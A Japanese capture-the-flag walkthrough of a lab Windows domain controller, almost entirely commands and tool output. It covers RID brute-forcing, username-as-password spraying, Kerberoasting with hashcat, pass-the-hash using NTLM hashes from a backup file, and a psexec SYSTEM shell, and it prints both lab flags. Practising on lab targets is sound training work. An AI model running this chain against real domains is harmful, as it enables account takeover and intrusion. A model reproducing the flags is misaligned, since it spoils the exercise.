問題
初期調査~侵入
ポートスキャン
bash
rustscan -a <targetIP> -- -Pn -sV -A
bash
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-10-19 09:18:02Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
|_ssl-date: 2026-10-19T09:19:34+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: SOUPEDECODE
| NetBIOS_Domain_Name: SOUPEDECODE
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SOUPEDECODE.LOCAL
| DNS_Computer_Name: DC01.SOUPEDECODE.LOCAL
| Product_Version: 10.0.20348
|_ System_Time: 2026-10-19T09:18:55+00:00
| ssl-cert: Subject: commonName=DC01.SOUPEDECODE.LOCAL
| Issuer: commonName=DC01.SOUPEDECODE.LOCAL
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-18T09:14:08
| Not valid after: 2027-04-19T09:14:08
| MD5: 201f:55f1:7405:0802:2639:40bb:1061:aec7
| SHA-1: 9d48:544c:0430:d9b4:8528:2330:85dd:5bdb:f65b:beb2
| -----BEGIN CERTIFICATE-----
| MIIC8DCCAdigAwIBAgIQFf95G4+T3KBNFj1PYTJlCDANBgkqhkiG9w0BAQsFADAh
| MR8wHQYDVQQDExZEQzAxLlNPVVBFREVDT0RFLkxPQ0FMMB4XDTI2MTAxODA5MTQw
| OFoXDTI3MDQxOTA5MTQwOFowITEfMB0GA1UEAxMWREMwMS5TT1VQRURFQ09ERS5M
| T0NBTDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOUGM19IRpp7jcbu
| 9MpeDnI4QkUe7VHgrDxuIWNLvq2Yea2xRFJI5ogEurl0BpHyFkVH83ZIWQJVxEFu
| bA2g59MlE0OUob1QDF1RQyBjvCzlGRgyMUs540WVi2FG/2z+5rZByKtBH5KydZ+/
| wtQybCW3GBe1Xk5k3AaeXW13R8BKIhrTaxiRh9AQHsCVC8NbaDIFOEop4KA3SHwE
| rzqsFuhKli1vV6lyFkFe+44VFYgkngKy4t7kjRvHGmWxul/2CDy7p9LTYrcMtLUz
| 5sq/uvbzff6DosJtoiz6qjdpnp77Dn6tQnvIxXHXnXHF0EwYZMj2vdBMZ3nKedJQ
| m9sSSfkCAwEAAaMkMCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgQw
| MA0GCSqGSIb3DQEBCwUAA4IBAQDT+ohW7Q51QO1kt1rb8CJJOoUppCHrORiXDzG5
| KI+RA+ilI2J92lzQuhRAArNd96NcZABqM2HOVfCNzfJMs2trZhnD4VlbuBgDjokc
| 4OXWB1Hey8rPCSVuUKkuVjx+p2Hu4QPkU+SCo5yKLEJ6dQURVd+K7h9ggAg0wxtt
| dnFkXdwf+uHTRBNIWfNzP/LZNDY8bDXbnh1u6+47OotEAYAIZ8OHaXqbK3IZ8bje
| s3jevLi7mjxZwBYvscSJwW2+0uBP4Wg57IFGn+mQnQAEIQsxotxBJqrRvJMnJlI8
| 4qPY+Ah+gl2jjezP92JU45a3wXpSOLjHWr/OItfrImsJ1r5u
|_-----END CERTIFICATE-----
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49731/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-10-19T09:18:56
|_ start_date: N/A
|_clock-skew: mean: 0s, deviation: 0s, median: -1s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 59326/tcp): CLEAN (Timeout)
| Check 2 (port 28424/tcp): CLEAN (Timeout)
| Check 3 (port 10163/udp): CLEAN (Timeout)
| Check 4 (port 64235/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
分かったこと。
- ドメイン名 ： SOUPEDECODE.LOCAL
- ホスト名 : DC01
- windows version : 10.0.20348 → Windows Server 2022
SMB調査
guestユーザで共有の調査
bash
netexec smb <targetIP> -u 'guest' -p '' --shares
bash
SMB <targetIP> 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB <targetIP> 445 DC01 [+] SOUPEDECODE.LOCAL\guest:
SMB <targetIP> 445 DC01 [*] Enumerated shares
SMB <targetIP> 445 DC01 Share Permissions Remark
SMB <targetIP> 445 DC01 ----- ----------- ------
SMB <targetIP> 445 DC01 ADMIN$ Remote Admin
SMB <targetIP> 445 DC01 backup
SMB <targetIP> 445 DC01 C$ Default share
SMB <targetIP> 445 DC01 IPC$ READ Remote IPC
SMB <targetIP> 445 DC01 NETLOGON Logon server share
SMB <targetIP> 445 DC01 SYSVOL Logon server share
SMB <targetIP> 445 DC01 Users
【収穫】
IPC$に読み取り権限がある。
RPC経由でドメインに問い合わせができそうなので、「RIDブルートフォース」を試してみる。
RIDブルートフォース
【一覧取得】
bash
netexec smb <targetIP> -u 'guest' -p '' --rid-brute 3000 | tee rid.txt
同時にファイルへ書き出しも行う
bash
SMB <targetIP> 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB <targetIP> 445 DC01 [+] SOUPEDECODE.LOCAL\guest:
SMB <targetIP> 445 DC01 498: SOUPEDECODE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB <targetIP> 445 DC01 500: SOUPEDECODE\Administrator (SidTypeUser)
SMB <targetIP> 445 DC01 501: SOUPEDECODE\Guest (SidTypeUser)
SMB <targetIP> 445 DC01 502: SOUPEDECODE\krbtgt (SidTypeUser)
SMB <targetIP> 445 DC01 512: SOUPEDECODE\Domain Admins (SidTypeGroup)
SMB <targetIP> 445 DC01 513: SOUPEDECODE\Domain Users (SidTypeGroup)
SMB <targetIP> 445 DC01 514: SOUPEDECODE\Domain Guests (SidTypeGroup)
SMB <targetIP> 445 DC01 515: SOUPEDECODE\Domain Computers (SidTypeGroup)
SMB <targetIP> 445 DC01 516: SOUPEDECODE\Domain Controllers (SidTypeGroup)
SMB <targetIP> 445 DC01 517: SOUPEDECODE\Cert Publishers (SidTypeAlias)
SMB <targetIP> 445 DC01 518: SOUPEDECODE\Schema Admins (SidTypeGroup)
SMB <targetIP> 445 DC01 519: SOUPEDECODE\Enterprise Admins (SidTypeGroup)
SMB <targetIP> 445 DC01 520: SOUPEDECODE\Group Policy Creator Owners (SidTypeGroup)
SMB <targetIP> 445 DC01 521: SOUPEDECODE\Read-only Domain Controllers (SidTypeGroup)
SMB <targetIP> 445 DC01 522: SOUPEDECODE\Cloneable Domain Controllers (SidTypeGroup)
SMB <targetIP> 445 DC01 525: SOUPEDECODE\Protected Users (SidTypeGroup)
SMB <targetIP> 445 DC01 526: SOUPEDECODE\Key Admins (SidTypeGroup)
SMB <targetIP> 445 DC01 527: SOUPEDECODE\Enterprise Key Admins (SidTypeGroup)
SMB <targetIP> 445 DC01 553: SOUPEDECODE\RAS and IAS Servers (SidTypeAlias)
SMB <targetIP> 445 DC01 571: SOUPEDECODE\Allowed RODC Password ReplicationGroup (SidTypeAlias)
SMB <targetIP> 445 DC01 572: SOUPEDECODE\Denied RODC Password Replication Group (SidTypeAlias)
SMB <targetIP> 445 DC01 1000: SOUPEDECODE\DC01$ (SidTypeUser)
SMB <targetIP> 445 DC01 1101: SOUPEDECODE\DnsAdmins (SidTypeAlias)
SMB <targetIP> 445 DC01 1102: SOUPEDECODE\DnsUpdateProxy (SidTypeGroup)
SMB <targetIP> 445 DC01 1103: SOUPEDECODE\bmark0 (SidTypeUser)
SMB <targetIP> 445 DC01 1104: SOUPEDECODE\otara1 (SidTypeUser)
SMB <targetIP> 445 DC01 1105: SOUPEDECODE\kleo2 (SidTypeUser)
SMB <targetIP> 445 DC01 1106: SOUPEDECODE\eyara3 (SidTypeUser)
SMB <targetIP> 445 DC01 1107: SOUPEDECODE\pquinn4 (SidTypeUser)
# etc....
大量のアカウント名を入手できたので、ユーザリストを作成する。
【ユーザリストの作成】
bash
grep SidTypeUser rid.txt | awk -F'\\' '{print $2}' | awk '{print $1}' | grep -v '\$$' > users.txt
$付きのコンピュータカウントは除外。
脆弱なアカウント探し。
guestアカウントではパスワードポリシーを見られなかったので、ロックアウトに備えて、各アカウント１回の試行ユーザ名=パスワードとなっているアカウントを探す。
bash
netexec smb <targetIP> -u users.txt -p users.txt --no-bruteforce --continue-on-success | grep '[+]'
bash
SMB <targetIP> 445 DC01 [+] SOUPEDECODE.LOCAL\ybob317:ybob317
なかなか実行は終わらないが、１件取得できた。
ということで、一つのドメインユーザのアカウントを取得した。
入手したアカウント情報を用いた調査
bash
netexec smb <targetIP> -u 'ybob317' -p 'ybob317' --pass-pol --shares
【共有】
SMB <targetIP> 445 DC01 Share Permissions Remark
SMB <targetIP> 445 DC01 ----- ----------- ------
SMB <targetIP> 445 DC01 ADMIN$ Remote Admin
SMB <targetIP> 445 DC01 backup
SMB <targetIP> 445 DC01 C$ Default share
SMB <targetIP> 445 DC01 IPC$ READ Remote IPC
SMB <targetIP> 445 DC01 NETLOGON READ Logon server share
SMB <targetIP> 445 DC01 SYSVOL READ Logon server share
SMB <targetIP> 445 DC01 Users READ
Users配下には読み取り権限があるので後ほど調査をする
【ポリシー】
SMB <targetIP> 445 DC01 Minimum password length: 7
SMB <targetIP> 445 DC01 Password history length: 24
SMB <targetIP> 445 DC01 Maximum password age: 41 days 23 hours 53 minutes
SMB <targetIP> 445 DC01
SMB <targetIP> 445 DC01 Password Complexity Flags: 000000
SMB <targetIP> 445 DC01 Domain Refuse Password Change: 0
SMB <targetIP> 445 DC01 Domain Password Store Cleartext: 0
SMB <targetIP> 445 DC01 Domain Password Lockout Admins: 0
SMB <targetIP> 445 DC01 Domain Password No Clear Change: 0
SMB <targetIP> 445 DC01 Domain Password No Anon Change: 0
SMB <targetIP> 445 DC01 Domain Password Complex: 0
SMB <targetIP> 445 DC01
SMB <targetIP> 445 DC01 Minimum password age: 1 day 4 minutes
SMB <targetIP> 445 DC01 Reset Account Lockout Counter: 30 minutes
SMB <targetIP> 445 DC01 Locked Account Duration: 30 minutes
SMB <targetIP> 445 DC01 Account Lockout Threshold: None
SMB <targetIP> 445 DC01 Forced Log off Time: Not Set
SMBのUSERS
SMBで読み取り権限があるUsers配下の調査に移る。
bash
smbclient //<targetIP>/Users -U 'SOUPEDECODE.LOCAL/ybob317%ybob317'
ybob317配下は見れた
User.txt
smb: \> ls
. DR 0 Fri Jul 5 07:48:22 2024
.. DHS 0 Mon Oct 19 19:30:55 2026
admin D 0 Fri Jul 5 07:49:01 2024
Administrator D 0 Sat Jul 26 02:45:10 2025
All Users DHSrn 0 Sat May 8 17:26:16 2021
Default DHR 0 Sun Jun 16 11:51:08 2024
Default User DHSrn 0 Sat May 8 17:26:16 2021
desktop.ini AHS 174 Sat May 8 17:14:03 2021
Public DR 0 Sun Jun 16 02:54:32 2024
ybob317 D 0 Tue Jun 18 02:24:32 2024
12942591 blocks of size 4096. 10694937 blocks available
smb: \> cd ybob317/Desktop
smb: \ybob317\Desktop\> ls
. DR 0 Sat Jul 26 02:51:44 2025
.. D 0 Tue Jun 18 02:24:32 2024
desktop.ini AHS 282 Tue Jun 18 02:24:32 2024
user.txt A 33 Sat Jul 26 02:51:44 2025
12942591 blocks of size 4096. 10693454 blocks available
smb: \ybob317\Desktop\> get user.txt
getting file \ybob317\Desktop\user.txt of size 33 as user.txt (0.0 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \ybob317\Desktop\> exit
cat user.txt
28189316c25dd3c0ad56d44d000d62a8
権限昇格
Kerberoasting
bash
impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip <targetIP> -request -outputfile kerb.txt
取れたハッシュはファイルに出力
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------- -------------- -------- -------------------------- --------- ----------
FTP/FileServer file_svc 2024-06-18 02:32:23.726085 <never>
FW/ProxyServer firewall_svc 2024-06-18 02:28:32.710125 <never>
HTTP/BackupServer backup_svc 2024-06-18 02:28:49.476511 <never>
HTTP/WebServer web_svc 2024-06-18 02:29:04.569417 <never>
HTTPS/MonitoringServer monitoring_svc 2024-06-18 02:29:18.511871 <never>
ハッシュクラック
bash
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
１件クラックに成功して、以下の認証情報をゲット
file_svc/Password123!!
改めてSMB調査
bash
netexec smb <targetIP> -u 'file_svc' -p 'Password123!!' --shares
SMB <targetIP> 445 DC01 Share Permissions Remark
SMB <targetIP> 445 DC01 ----- ----------- ------
SMB <targetIP> 445 DC01 ADMIN$ Remote Admin
SMB <targetIP> 445 DC01 backup READ
SMB <targetIP> 445 DC01 C$ Default share
SMB <targetIP> 445 DC01 IPC$ READ Remote IPC
SMB <targetIP> 445 DC01 NETLOGON READ Logon server share
SMB <targetIP> 445 DC01 SYSVOL READ Logon server share
SMB <targetIP> 445 DC01 Users
backupの読み取り権限をゲット
bash
smbclient //<targetIP>/backup -U 'SOUPEDECODE.LOCAL/file_svc%Password123!!'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Jun 18 02:41:17 2024
.. DR 0 Sat Jul 26 02:51:20 2025
backup_extract.txt A 892 Mon Jun 17 17:41:05 2024
12942591 blocks of size 4096. 10705071 blocks available
smb: \> get backup_extract.txt
getting file \backup_extract.txt of size 892 as backup_extract.txt (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \> exit
backup_extract.txt
WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::
DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::
CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::
MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::
PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::
ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::
MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
【リストの作成】
# アカウント名（$付き、ファイルの順番通り）
cat > comp_users.txt <<'EOF'
WebServer$
DatabaseServer$
CitrixServer$
FileServer$
MailServer$
BackupServer$
ApplicationServer$
PrintServer$
ProxyServer$
MonitoringServer$
EOF
# 対応するハッシュ（同じ順番）
cat > comp_hashes.txt <<'EOF'
c47b45f5d4df5a494bd19f13e14f7902
406b424c7b483a42458bf6f545c936f7
48fc7eca9af236d7849273990f6c5117
e41da7e79a4c76dbd9cf79d1cb325559
46a4655f18def136b3bfab7b0b4e70e3
46a4655f18def136b3bfab7b0b4e70e3
8cd90ac6cba6dde9d8038b068c17e9f5
b8a38c432ac59ed00b2a373f4f050d28
4e3f0bb3e5b6e3e662611b1a87988881
48fc7eca9af236d7849273990f6c5117
EOF
認証試行
bash
netexec smb <targetIP> -u comp_users.txt -H comp_hashes.txt --no-bruteforce --continue-on-success
SMB 10.145.187.58 445 DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
ログイン成功して、管理者アカウントをゲット
root.txt
psexecで対話シェルを確立。
bash
impacket-psexec -hashes ':e41da7e79a4c76dbd9cf79d1cb325559' 'SOUPEDECODE.LOCAL/FileServer$@<targetIP>'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on <targetIP>.....
[*] Found writable share ADMIN$
[*] Uploading file ZzwETxHj.exe
[*] Opening SVCManager on <targetIP>.....
[*] Creating service Qfwx on <targetIP>.....
[*] Starting service Qfwx.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
psexec
C:\> cd Users\Administrator\Desktop
C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is CCB5-C4FB
Directory of C:\Users\Administrator\Desktop
07/25/2025 10:51 AM <DIR> .
10/19/2026 04:20 AM <DIR> ..
06/17/2024 10:41 AM <DIR> backup
07/25/2025 10:51 AM 33 root.txt
1 File(s) 33 bytes
3 Dir(s) 43,847,983,104 bytes free
C:\Users\Administrator\Desktop> type root.txt
27cb2be302c388d63d27c86bfdd5f56a